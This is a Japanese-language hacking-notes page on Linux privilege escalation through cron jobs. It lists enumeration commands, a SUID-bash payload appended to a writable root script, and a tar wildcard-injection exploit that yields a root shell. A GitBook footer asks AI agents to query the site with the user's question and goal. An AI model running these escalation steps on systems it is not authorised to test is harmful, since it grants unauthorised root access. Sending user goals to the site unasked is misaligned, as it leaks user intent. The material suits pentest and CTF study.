> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/cron-jobs.md).

# cron ジョブ

書き込み可能なスクリプト、定期的な root タスク、pspy64、Logstash ジョブ、ImageMagick の悪用に関する cron ジョブ権限昇格メモ。

Cronジョブは、rootの定期タスクが書き込み可能なスクリプト、安全でない相対パス、または脆弱なプロセッサを実行する場合に、権限昇格の経路を作ります。重要なのは、低権限ユーザーが、特権付きのスケジュールタスクが実行する何かを制御していることを証明することです。

## 手法

* システムのcrontab、cronディレクトリ、タイマー、書き込み可能なスクリプトを確認します。
* root権限なしで短命なプロセスを監視するにはpspy64を使用します。
* そのジョブが安全でないPATH値、書き込み可能なファイル、または攻撃者が制御できる入力ディレクトリを使用しているか確認します。

## クイックチェック

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## 書き込み可能なCron対象

特権付きcronジョブが実行し、低権限ユーザーが変更できるスクリプトやディレクトリを探します。

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

使用する `pspy64` cronジョブが短命である場合、または静的ファイルに表示されない場合:

```bash
./pspy64
```

rootのcronジョブが書き込み可能なスクリプトを実行する場合、簡単な確認方法は、BashにSUIDビットを設定してスケジュールの実行を待つことです:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### ワイルドカードインジェクション

cronジョブが書き込み可能なディレクトリに対してワイルドカード付きのアーカイブコマンドを使用する場合、ファイル名がコマンドオプションになることがあります。

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

cronジョブの実行後：

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron式計算機</h4></td><td>一般的なcron式、特殊文字列、フィールド構文、スケジュールの意味、権限昇格の確認メモを検索します。</td><td><a href="/ja/privesc/cron-jobs/cron-expression-calculator.md">cron 式計算機</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>pspy64によるCron列挙</h4></td><td>Linuxの権限昇格向けのpspy64ツールノート。列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">pspy64 ツール - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>改変されたBashスクリプトのCronジョブ</h4></td><td>Cronジョブ - 改変スクリプト（Bash）のノート。Linuxの権限昇格向けで、列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">修正済み Bash スクリプトの cron ジョブ - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>改変されたPythonスクリプトのCronジョブ</h4></td><td>Cronジョブ - 改変スクリプト（Python）のノート。Linuxの権限昇格向けで、列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">修正済み Python スクリプトの cron ジョブ - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>ImageMagickによるCron悪用</h4></td><td>Cronジョブ - ImageMagickの悪用に関するノート。Linuxの権限昇格向けで、列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">ImageMagick cron 悪用 - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>LogstashによるCron悪用</h4></td><td>Cronジョブ（Logstash）のノート。Linuxの権限昇格向けで、列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Logstash cron 悪用 - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
